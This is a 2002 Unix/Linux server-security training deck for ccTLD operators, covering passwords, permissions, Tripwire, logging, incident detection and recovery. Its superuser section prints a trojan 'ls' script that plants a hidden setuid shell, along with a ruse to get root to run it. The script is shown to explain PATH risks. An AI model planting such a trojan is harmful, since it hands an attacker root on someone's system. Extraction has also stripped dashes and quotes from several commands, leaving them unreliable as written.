ccTLD name server training

Server management and security

September 10, 2002 Ko, YangWoo yw@mrko.pe.kr

Note
Contents are NOT mine. Most of them are from the wonderful book Practical Unix and Internet Security and Real World Linux Security. Others are extracted from various good resources including;
Linux Security FAQ Solaris Security FAQ Sun Solaris / HP-UX / Tru64 Unix man pages

Table of contents
Before we start Security basics Unix / Linux sever security System setup guide Detection Recovery

Module 1 : Before we start

Welcome to wild Internet !

Quote from Crypto-Gram (June 15, 2001 )
A random computer on the Internet is scanned dozens of times a day. The life expectancy of a default installation of Red Hat 6.2 server, or the time before someone successfully hacks it, is less than 72 hours. A common home user setup,with Windows 98 and file sharing enabled, was hacked five times in four days. Systems are subjected to NetBIOS scans an average of 17 times a day. And the fastest time for a server being hacked: 15 minutes after plugging it into the network.

No system is ever perfectly secure.

But, still we need security.

Any number of toolkits exist that allow total amateurs to become holy terrors. The good news is that if you can beat the popular intrusion toolkits, 90 percent of the bad guys will go bother somebody else who's less secure.

System security in a page

The Seven Most Deadly Sins
Weak Passwords Open Network Ports Old Software Version Poor Physical Security Insecure CGIs Stale and Unnecessary Accounts Procrastination

Module 2 : Security basics

Security requirements
Confidentiality Integrity Authentication Non-repudiation Availability Access control Combined
User authentication used for access control Non-repudiation combined with authentication

Some terminologies
System security / network security Passive attack / active attack
sniffing / spoofing

Two models
Access control
discretionary access control vs. mandatory access control

Audit

Security policy
Simple and generic policy for system which users can readily understand and follow. Starting point :
That which is not permitted is prohibited.

Setup steps
(1) Identify what you are trying to protect. (2) Determine what you are trying to protect it from. (3) Determine how likely the threats are. (4) Implement measures which will protect your assets in a cost-effective manner. (5) Review & improve the process continuously

Security policy (continued)

References
rfc2196 : Site Security Handbook

Samples
ftp://coast.cs.purdue.edu/pub/doc/policy

Module 3 : Unix / Linux server security

Password Superuser File system Account Integrity Log and Audit Programmed threats TCP/IP

Module 3-1 : Password

Bad passwords
Your name, spouses name, partners name, pets name, childs name, friends name, bosss name Operating system, hostname, username Phone number, license plate number, birth date, social security number Words in the dictionary Simple patterns of letters on the keyboard (qwerty) Passwords of all the same letter Any of above spelled backwards Any of above followed or prepended by a single digit

Password

Good passwords
Have both uppercase and lowercase letters. Have digits and/or punctuation characters as well as letters. May include some control characters and/or spaces. Are easy to remember, so they do not have to be written down. Are seven or eight characters long.

Password

The Thompson Test

Devised by Ken Thompson Cracking algorithm
One to six ASCII characters Seven or eight lowercase letters Any word from a large dictionary such as hangman-words, or a word spelled backward or with the digit 1 instead of the letter l, with the digit 0 instead of the letter o, or with the digit 3 instead of the letter e. Any pair of words from a large dictionary or words spelled backwards.

Password

Module 3-2 : Superuser

Who is superuser ?
UID of 0 Any username can be the superuser. Normal security checks and constraints are ignored for the superuser. Superuser is not for casual use.
Do not login as superuser, use /bin/su with - option instead.

Superuser

Simple trap to steal superuser

Premise
Roots PATH starts with .

Set a trap
% cd % chmod 700 . % touch ./-f

Contents of shell script ls

#!/bin/sh cp /bin/sh ./junk/.ss chmod 4555 ./junk/.ss rm f $0 exec /bin/ls ${1+$@}

To do is just say to administrator. I have a funny file in my directory I cant seem to delete.

Superuser

Several tricks for superusers

Test complex commands in a non-destructive way before running it.
rm foo*.bar after echo foo*.bar

alias rm=rm i Only become root to do single specific task. Stay normal user shell until you are sure what needs to be done by root. Command path
Minimum and trusted directories only Never include . No writable directories
Superuser

Several tricks for superusers (continued)

Never use r-utilities (e.g. rlogin, rsh). Never create .rhosts for for the root. No login from the remote
Linux, HPUX : /etc/securetty
file which lists ttys from which root can log in

Solaris : /etc/default/login
CONSOLE=/dev/console

Always be slow and deliberate running as root. Think before you type.

Superuser

Module 3-3 : File system

File permission
File type
- : plain file d : directory c : character device (tty, printer) b : block device (disk, CD-ROM) l : symbolic link s : socket =, p : FIFO

Access granted to others

-rwxr--r-Access granted to owner

r : read / w : write / x : execute

Access granted to group member

File system

SUID/SGID/sticky bits
SUID (set uid)
Processes are granted access to system resources based on user who owns the file.

SGID (set gid)

(For file) Same with SUID except group is affected. (For directory) Files created in that directory will have their group set to the directory's group.

sticky bit
If set on a directory, then a user may only delete files that the he owns or for which he has explicit write permission granted, even when he has write access to the directory. (e.g. /tmp )
File system

File system tips

Finding SUID and SGID Files
# find / \( -local -o -prune \) \( -perm -004000 -o perm -002000 \) -type f -print ( xdev can be used in place of local/prune)

Files without associated owner/group can be a signal of compromise.

# find / -nouser o nogroup print

Users are not allowed to have .rhosts file.

# find /home name .rhosts -print

File system

File system tips (continued)

Turning off SUID / SGID in mounted file system
use nosuid (and nodev if possible) when mounting remote file system or allowing users to mount floppies or CD-ROMs

Device file can be created as a backdoor after compromise.

# find / \( -local -o -prune \) \( -type c -o -type b \) -exec ls -l {} \;

File system

Critical system files

These files should be backed up and compared with saved version frequently.
/etc/passwd, /etc/shadow, /etc/group /etc/rc* /etc/ttys, /etc/ttytab, /etc/inittab /usr/lib/crontab, /usr/spool/cron/crontabs/, /etc/crontab /usr/lib/aliases /etc/exports, /etc/dfs/dfstab /etc/netgroups /etc/fstab, /etc/vfstab /etc/inetd.conf UUCP related files

File system

Module 3-4 : Account

Dangerous accounts
Accounts without passwords
# cat /etc/passwd | awk -F: 'length($2)<1 {print $1}'

Default accounts
Just remove them !

Shared accounts
Less accountability, less security. Create several accounts in a group.

e-mail ID and account

Do not use e-mail ID as an account, utilized alias feature instead.

Account

Dormant account
Risks
Intruder can use dormant account without being noticed. Owner of dormant account cannot follow your policy or order. (e.g. Dear every users, please change your passwords right now.)

How to handle
Disabling dormant account automatically (SVR4)
usermod f 10 newcat (locked if no login in 10 days)

Freeze it
Put * in password field chmod 0 /home/newcat find / -user newcat -ls Account

Dormant account (continued)

How to find
#!/bin/sh PATH=/bin:/usr/bin;export PATH umask 077 THIS_MONTH=`date | awk {print $2}` /bin/last | /bin/grep $THIS_MONTH | awk {print $1} | /bin/sort u > /tmp/users1$$ cat-passwd | /bin/awk F: {print $1} | /bin/sort u /tmp/users2$$ /bin/comm 13 /tmp/users[12]$$ /bin/rm f /tmp/users[12]$$
Account

Module 3-5 : Integrity

Simple examples
By metadata
# cat /usr/adm/filelist | xargs ls -ilds > /tmp/now # diff -b /usr/adm/savelist /tmp/now

By checksum
# find `cat /usr/adm/filelist` -ls -type f -exec md4 {}\; > /tmp/now # diff -b /usr/adm/savelist /tmp/now

Integrity

Tripwire
Tripwire is a tool that checks to see what has changed on your system. The program monitors key attributes of files that should not change, including binary signature, size, expected change of size, etc. Where is it ?
Commercial version : http://www.tripwire.com/ For Linux user : http://www.tripwire.org/ For Unix user : ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/trip wire-1.2.tar.Z
Integrity

Tripwire tutorial in a slide

Initial setup
download / build / install it modify policy file (e.g. remove unnecessary files)
# vi /etc/tripwire/twpol.txt

generate policy file

# twadmin create-polfile /etc/tripwire/twpol.txt

build initial database

# tripwire init

check periodically
# tripwire check reconcile differences (e.g. software installation)
# tripwire update accept-all twrfile report_file Integrity

Module 3-6 : Log and audit

Basics
Consider remote logging to secure log data. List of log files
acct / pacct : Commands run by users aculog : Dial-out modem (acu : automatic call unit) lastlog : Most recent login success/fail times loginlog : Bad login attempts messages : Console / syslog facility sulog : su command utmp / utmpx : Each user currently logged in wtmp / wtmpx : Login/out, shutdown/startup xferlog : FTP access
Log and audit

Files and commands

lastlog file
lastlog (Linux only)
Displays last login time and location.

u/wtmp file
last
Displays login and logout information about users and terminals

acct/pacct file
(Solaris 5.8) /usr/lib/acct/[startup , shutacct]
Starts or stop accounting.

(Solaris 5.8) acctcom, lastcom

Displays the recent commands executed. Log and audit

Monitoring logs
logcheck (logsentry)
Extracts anything that might indicate a security violation or other abnormality, and informs via e-mail. http://www.psionic.com/products/logsentry. html

Log and audit

Module 3-7 : Programmed threats

Basic terms
Bug vs. malware (or malicious software) Kinds of malwares
Security tools and toolkits Back doors and trap doors Logic bombs Viruses Worms Trojan horses Bacteria and rabbits
Programmed threats

Against programmed threats

Back door
Do regular integrity check. Install software only from well-known sources. Separate test bed and production system.

Trojan horse
Never execute anything until youre sure of program or inputs to program. Never run anything as root unless you absolutely must.
Programmed threats

Against programmed threats (continued)

Viruses
Use same techniques used against back doors and Trojan horse. Dont include nonstandard directories (including .) in your PATH. Dont leave common binary directories unprotected and set permission of commands to 555 or 511. Make sure your own directories are writable only by you not by your group or world.
Programmed threats

Against programmed threats (continued)

Worm
Prevention
If an intruder can enter your machine, so can a worm program.

If under attack,
Call computer incident response center to se if other sites have made similar reports. Isolate your server to prevent spread.

Programmed threats

Module 3-8 : TCP/IP

Vulnerabilities
ftp
Passwords are sent in plain text. /etc/ftpusers
List of accounts that are NOT allowed to use ftp.

telnet
Passwords are sent in plain text. Attacker can hijack the session.

TCP/IP

Vulnerabilities (continued)
smtp (sendmail)
Must be upgraded 8.9.3 or higher. Current version is 8.12.6. Check permission of /var/spool/mqueue, sendmail.cf, /etc/aliases*, /etc/mail/mailertable* (owned by root, writable by owner only)

TCP/IP

Vulnerabilities (continued)
Sun RPC portmapper
Assigns the TCP/UDP ports used for RPC. To improve security, turn it off if possible. Or,
Replace it with Wietse Venemas version. Block packets on port 111.

rexec, rsh, rlogin

Executes remote program or login. rexec transmits plain text password and rsh/rlogin use trusted host/user concept. Disable rexec, and replace rsh/rlogin with ssh.

TCP/IP

Vulnerabilities (continued)
web
Yet another BIG topic. See references;
Lincoln D. Steins WWW Security FAQ
http://www-genome.wi.mit.edu/WWW/faqs/wwwsecurity-faq.html

Paul Phillips CGI security FAQ

http://www.primus.com/staff/paulp/cgi-security

NCSAs CGI security documentation

http://hoohoo.ncsa.uiuc.edu/cgi/security.html

TCP/IP

Vulnerabilities (continued)
NFS
Limit exported and mounted file systems Export read-only and use root ownership Remove group-write permission for files and directories Do not export server executables and home directories Do not allow users to log into server Use fsirand and set the portmon variable Use showmount e Use secure NFS
TCP/IP

Vulnerabilities (continued)
tftp (UDP 69)
No security at all.

finger ( 79 )
Provides user information.

POP ( 109, 110 )

Username/password is sent in plain text.

TCP/IP

Module 4 : System setup guide

Useful links for system setup

Solaris
Solaris/Unix Security Checklist Version 1.0
http://www.geocities.com/losttoy2000/solarisse c.rtf

The Solaris Security FAQ

http://www.itworld.com/Comp/2377/securityfaq/

Linux
Securing Debian Manual
http://www.debian.org/doc/manuals/securingdebian-howto/

System setup steps (1/2)

1. 2. 3. 4. 5. Disconnect system from network. Install a minimal Operating System. Install the recommended patches. Use BIOS/EEPROM security. Securing root account
Force root to login through su. Check environments
default mask (027), PATH

6. Apply hardening script if available. 7. Direct syslog to loghost

System setup steps (2/2)

8. Create minimal accounts and disallow login. 9. Let minimal services run;
/etc/rc*, /etc/inet.d

10. Use tcpwrapper for network services. 11. Install Secure Shell and encourage its use. 12. Install integrity checker (e.g. Tripwire). 13. Test it periodically
e.g. Nessus, COPS, Tiger,

14. Monitor it forever

Check logs, login/outs, commands

Module 5 : Detection
Monitoring Scanning Handling

Monitoring (1/2)
Log (logcheck)
Propagate it using loghost and e-mail. Check it.

Network port (netstat)

Trojan horse may use network ports. http://www.glocksoft.com/trojan_port.htm

Network (tcpdump)

Monitoring

Monitoring (2/2)
Process (ps)
Check suspicious processes, e.g. compiler. Record typical size of daemons and important programs to detect Trojan horse.

Load (uptime)

Monitoring

Scanning
Find suspicious files. Run Tripwire. Detect promiscuous network interfaces.
(see next page)

Scanning

Perl script to detect sniffer

#!/usr/bin/perl my $ifconfig = /sbin/ifconfig; my $recips = admin@my.admin.host; my %PROMISC = (); my $interface = ; open( IFCONFIG, $ifconfig| ) || die( Error: cannot run ifconfig! ); while( <INCONFIG> ) { $interface = $1 if m/^(\S+)/; $PROMISC{$interface} = 1 if m/promisc/I; } close( IFCONFIG ); if( %PROMISC ) { open( MAIL, |Mail s Promisc mode $recips ) || die( Error: cannot send mail ); print MAIL Interfaces in Promisc mode: , join( , sort keys %PRMISC), \n; close MAIL; }

Scanning

Handling incidents
Dont panic
Is it really a security incident ? Was any damage really done ? Evidence or normal operation, that is the question.

Document
Write down everything you find, always noting the date and time.

Plan ahead !!!

Handling

Module 6 : Recovery
Regaining control of system Finding and repairing the damage Tracing attacker

Regaining control of system

Operate as an unprivileged user. Check integrity of commands used. Have stealth version of crucial commands (ps / ls / tar / )
Build from open source. Or, Rename from existing binary
cd /home/larry/bin cp /bin/ls monthly cat text_file >> monthly (echo ls is monthly; md5sum monthly) | lpr

Process must be kill by 9.

RegainingTCP/IP of system control

Analyze Trojan horse

Save suspicious executables on (removable) media. Analyze
strings Trojan file Trojan
if not stripped
nm Trojan (see function names, syscalls) run debugger (see stack trace)

Check files opened by Trojan

(Linux) /proc/pid/fd (Solaris) pfile pid
Regaining control of system

Prevent further damage

1. Drop connection (unplug LAN, modem) 2. Shutdown abruptly
1. Close database 2. Run sync (from non privileged user) 3. Press reset (or power) button

3. Boot again
1. Remove the system disk from the compromised system and connect it as second disk to a secure system. (Or, boot from secure boot floppy.) 2. Run fsck 3. Before coming up multi-user mode, check cracker generated email.
Regaining control of system

Checking logs
Log files
/var/log/* Shell history files (esp. for root) Mailboxes (mbox, /?/spool/mail, /?/spool/mqueue) Firewall logs, ISPs log tcpwrapper log (denied log only)

Other files
/tmp/* Hidden directories (e.g. /home/*/.??*) Other files started with .
Finding and repairing the damage

Finding cracker-altered files

Use file integrity tools (e.g. Tripwire) Compare file system with backups.
GNU tar -d option is very useful.

Rename any Trojan horse found something obvious.

mv /mnt2/tmp/ls /mnt/tmp/ls-CRACKED chmod 0 /mnt/tmp/ls-CRACKED

Find normal files hidden in /dev

find /dev type f ls

Find set UID programs

Finding and repairing the damage

Useful commands
With IP address (A.B.C.D)
nslookup type=any D.C.B.A.in-addr.arpa dig x A.B.C.D

With domain name

whois

Using ping
See the distance

Using traceroute

Tracing hacker

Module 7 : D.I.Y.
Requirement Analysis Plan and Do

What assets do I have ?

Classification of assets
Hardware
Server / PC / Storage device / Printer

Network
Network distribution component (e.g. router, hub, switch) Network service host (e.g. directory, NMS) Network connection / Cabling

Data (e.g. database, agreement, policy, guideline) Software Human Environment (e.g. UPS, air conditioner, cabinet)
Requirement

How valuable they are ? (1/4)

Review documentations
List of all servers List of all security products in place Operation guidelines

Interview with operational personnel Valuation methods

CIA
Confidentiality / Integrity / Availability

Cost of loss
Requirement

How valuable they are ? (2/4)

Confidentiality
5 : Top secret 4 : Secret 3 : Limited 2 : Limited within organization
Ordinary documents

1 : Open

Requirement

How valuable they are ? (3/4)

Integrity
5 : Critical damage to operation 1 : No (or very least) damage to operation

Availability
5 : Non stop 4 : Recovery within 4 hours 3 : Recovery within 8 hours 2 : Recovery within 12 hours 1 : Recovery within 24 hours
Requirement

How valuable they are ? (4/4)

Cost of loss
5 : Serious loss (e.g. Bankruptcy) 4 : Major loss (e.g. Discontinuance of some businesses) 3 : Significant loss (e.g. Discontinuance of some tasks) 2 : Loss (e.g. < U$ 10,000) 1 : Trivial loss (e.g. < U$ 1,000)

Requirement

Define analysis areas

Network / system security
Service daemons Backdoors, vulnerable files Misuse by users User accounts Log management Network configuration Network device management Database security

Physical security Security management

Compliance assessment Security policy assessment Contingency planning

Requirement

Analysis
Automated analysis
e.g. Nessus

Manual analysis
OS checklists

Analysis

Sample results
Service daemons
Problems
Some old-version daemons have buffer overflow vulnerabilities. Unnecessary daemons are running.

To do
Remove unnecessary daemons. Keep necessary daemon up to date. Run security scanner periodically.

Analysis

Sample results
Backdoors, vulnerable files
Problems
Backdoor is not found, but there is no counter measure for future backdoors.

To do
Install and run Tripwire periodically.

Analysis

Sample results
Misuse by users
Problems
Sendmails vulnerability can lead to root compromise.

To do
Remove if unnecessary. Keep it up to date if necessary.

Analysis

Sample results
User accounts
Problems
Super user accounts are shared by administrators and developers. Weak passwords are found.

To do
Define each systems usages clearly. Define each users role according to usage of system. Apply password control (including aging).
Analysis

Sample results
Log management
Problems
No log management.

To do
Setup a loghost, and all logs are configured to be sent to it. Write a log management guideline and apply it.

Analysis

Sample results
Network configuration
Problems
Database servers are exposed to Internet.

To do
Set up a DMZ. Put external service servers at DMZ. Put Database servers at internal network

Analysis

Categories of reaction
Configuration issue
Issues are solved by configuring servers and network equipments properly. Usually done within a week.

Infra structure issue

Issues are solved by investing on infrastructure. Usually outsourced in long time period.

Management issue
Several units within organization work together to handle these issues. Plan => Do => See cycle
Plan

Categorize To Dos
Configuration issue
Remove unnecessary daemons. Apply password control (including aging).

Management issue
Write a log management guideline and apply it. Define each systems usages clearly. Define each users role according to usage of system.

Infra structure issue

Run security scanner periodically. Set up a DMZ.
Plan